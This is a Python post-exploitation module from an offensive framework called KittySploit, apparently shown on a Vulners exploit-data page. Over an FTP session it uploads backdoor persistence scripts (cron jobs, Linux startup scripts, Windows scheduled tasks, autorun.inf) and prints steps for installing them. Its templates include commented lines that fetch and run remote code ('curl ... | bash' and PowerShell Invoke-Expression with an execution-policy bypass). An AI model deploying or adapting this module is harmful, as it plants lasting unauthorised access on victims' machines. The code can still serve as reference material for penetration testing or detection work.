FTP Create Persistence
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.ftp.ftp_client import FTPClientMixin
import os
import tempfile
import time
class Module(Post, FTPClientMixin):
"""FTP Persistence Creation Module"""
__info__ = {
"name": "FTP Create Persistence",
"description": "Creates persistent backdoor access by uploading scheduled task scripts, cron jobs, or startup scripts",
"author": "KittySploit Team",
"session_type": SessionType.FTP,
'agent': {
'risk': 'destructive',
'effects': ['target_modification'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': ['rce', 'shell', 'file_read'],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [],
'consumes_capabilities': ['shell'],
'option_bindings': {},
'suggested_followups': []},
},
}
persistence_type = OptChoice("cron", "Persistence type: cron, startup, scheduled_task, or autorun", True,
choices=["cron", "startup", "scheduled_task", "autorun"])
remote_path = OptString(".", "Remote directory to upload persistence script", False)
script_filename = OptString("", "Persistence script filename (auto-generated if empty)", False)
payload_url = OptString("", "URL or command to execute for persistence", True)
interval = OptString("*/5 * * * *", "Cron interval (for cron type) or schedule (for scheduled_task)", False)
web_path = OptString("", "Web-accessible path for script execution (optional)", False)
def check(self):
"""Check if the module can run"""
session_id_value = str(self.session_id)
if not session_id_value:
print_error("Session ID not set")
return False
if not self.framework or not hasattr(self.framework, 'session_manager'):
print_error("Framework or session manager not available")
return False
session = self.framework.session_manager.get_session(session_id_value)
if not session:
print_error(f"Session {session_id_value} not found")
return False
# Try to get FTP connection to verify it works
try:
self.open_ftp()
return True
except Exception as e:
print_error(f"FTP connection error: {e}")
return False
def _generate_cron_script(self) -> str:
"""Generate cron job script"""
script = f"""#!/bin/bash
# Persistence script - Auto-generated
# Cron interval: {self.interval}
# Execute payload
{self.payload_url}
# Optional: Download and execute remote script
# curl -s {self.payload_url} | bash
"""
return script
def _generate_startup_script(self) -> str:
"""Generate startup script (Linux)"""
script = f"""#!/bin/bash
# Persistence script - Auto-generated
# Executes on system startup
# Wait for network
sleep 10
# Execute payload
{self.payload_url}
"""
return script
def _generate_scheduled_task_script(self) -> str:
"""Generate Windows scheduled task script"""
script = f"""@echo off
REM Persistence script - Auto-generated
REM Schedule: {self.interval}
REM Execute payload
{self.payload_url}
REM Alternative: PowerShell execution
REM powershell -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri '{self.payload_url}' | Invoke-Expression"
"""
return script
def _generate_autorun_script(self) -> str:
"""Generate autorun.inf for Windows"""
script = f"""[autorun]
open={self.payload_url}
action=Run Persistence Script
"""
return script
def _generate_persistence_script(self) -> tuple:
"""Generate persistence script based on type"""
persistence_type = self.persistence_type.lower()
if persistence_type == 'cron':
content = self._generate_cron_script()
extension = '.sh'
filename = self.script_filename or f'persist_{int(time.time())}.sh'
elif persistence_type == 'startup':
content = self._generate_startup_script()
extension = '.sh'
filename = self.script_filename or f'startup_{int(time.time())}.sh'
elif persistence_type == 'scheduled_task':
content = self._generate_scheduled_task_script()
extension = '.bat'
filename = self.script_filename or f'task_{int(time.time())}.bat'
elif persistence_type == 'autorun':
content = self._generate_autorun_script()
extension = '.inf'
filename = self.script_filename or 'autorun.inf'
else:
raise ProcedureError(FailureType.ConfigurationError,
f"Unsupported persistence type: {persistence_type}")
return content, filename
def _generate_install_instructions(self, remote_path: str, filename: str) -> str:
"""Generate installation instructions"""
persistence_type = self.persistence_type.lower()
instructions = []
instructions.append("=" * 70)
instructions.append("Persistence Installation Instructions")
instructions.append("=" * 70)
instructions.append("")
if persistence_type == 'cron':
instructions.append("Linux Cron Job Installation:")
instructions.append(f"1. Make script executable: chmod +x {remote_path}/{filename}")
instructions.append(f"2. Add to crontab: crontab -e")
instructions.append(f"3. Add line: {self.interval} {remote_path}/{filename}")
instructions.append("")
instructions.append(f"Or run: echo '{self.interval} {remote_path}/{filename}' | crontab -")
elif persistence_type == 'startup':
instructions.append("Linux Startup Script Installation:")
instructions.append(f"1. Make script executable: chmod +x {remote_path}/{filename}")
instructions.append("2. Copy to startup directory:")
instructions.append(f" - System-wide: cp {remote_path}/{filename} /etc/init.d/")
instructions.append(f" - User-specific: cp {remote_path}/{filename} ~/.config/autostart/")
instructions.append("")
instructions.append("3. Enable service (systemd):")
instructions.append(f" systemctl enable {filename}")
elif persistence_type == 'scheduled_task':
instructions.append("Windows Scheduled Task Installation:")
instructions.append(f"1. Open Task Scheduler (taskschd.msc)")
instructions.append(f"2. Create Basic Task")
instructions.append(f"3. Set trigger: {self.interval}")
instructions.append(f"4. Set action: Start program")
instructions.append(f"5. Program: {remote_path}\\{filename}")
instructions.append("")
instructions.append(f"Or use schtasks command:")
instructions.append(f'schtasks /create /tn "Persistence" /tr "{remote_path}\\{filename}" /sc minute /mo 5')
elif persistence_type == 'autorun':
instructions.append("Windows Autorun Installation:")
instructions.append(f"1. Place autorun.inf in root of removable drive or system drive")
instructions.append(f"2. Ensure {self.payload_url} is accessible")
instructions.append("3. Autorun will execute on drive mount (if enabled)")
instructions.append("")
instructions.append("=" * 70)
return "\n".join(instructions)
def run(self):
"""Run the persistence creation"""
try:
print_info("=" * 70)
print_info("FTP Persistence Creation")
print_info("=" * 70)
# Get connection info
conn_info = self.get_ftp_connection_info()
print_info(f"FTP Server: {conn_info.get('host', 'unknown')}:{conn_info.get('port', 21)}")
print_info(f"Username: {conn_info.get('username', 'unknown')}")
print_info(f"Persistence Type: {self.persistence_type}")
print_info(f"Payload: {self.payload_url}")
print_info("")
# Generate persistence script
print_status("Generating persistence script...")
script_content, filename = self._generate_persistence_script()
print_info(f"Script filename: {filename}")
print_info(f"Script size: {len(script_content)} bytes")
print_info("")
# Create temporary file
temp_file = tempfile.NamedTemporaryFile(mode='w', delete=False, suffix=os.path.splitext(filename)[1])
temp_file.write(script_content)
temp_file.close()
try:
# Build remote path
if self.remote_path and self.remote_path != ".":
remote_file = f"{self.remote_path}/{filename}".replace("//", "/")
else:
remote_file = filename
# Change to target directory if specified
if self.remote_path and self.remote_path != ".":
try:
self.change_directory(self.remote_path)
print_info(f"Changed to directory: {self.remote_path}")
except Exception as e:
print_warning(f"Could not change to {self.remote_path}: {e}")
# Upload script
print_status(f"Uploading persistence script: {filename}")
connection = self.open_ftp()
try:
connection.voidcmd('TYPE I') # Binary mode
except:
pass
self.upload_file(temp_file.name, remote_file)
print_success(f"Persistence script uploaded: {remote_file}")
print_info("")
# Display installation instructions
instructions = self._generate_install_instructions(self.remote_path or ".", filename)
print_info(instructions)
# Display script content preview
print_info("")
print_info("-" * 70)
print_status("Script Content Preview:")
print_info("-" * 70)
for i, line in enumerate(script_content.split('\n')[:20], 1):
print_info(f"{i:3d} | {line}")
if len(script_content.split('\n')) > 20:
print_info(f"... ({len(script_content.split('\n')) - 20} more lines)")
print_info("")
return True
finally:
# Clean up temporary file
try:
os.unlink(temp_file.name)
except:
pass
except ProcedureError:
raise
except Exception as e:
raise ProcedureError(FailureType.Unknown, f"Error creating persistence: {e}")
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.8Medium risk
Vulners AI Score5.8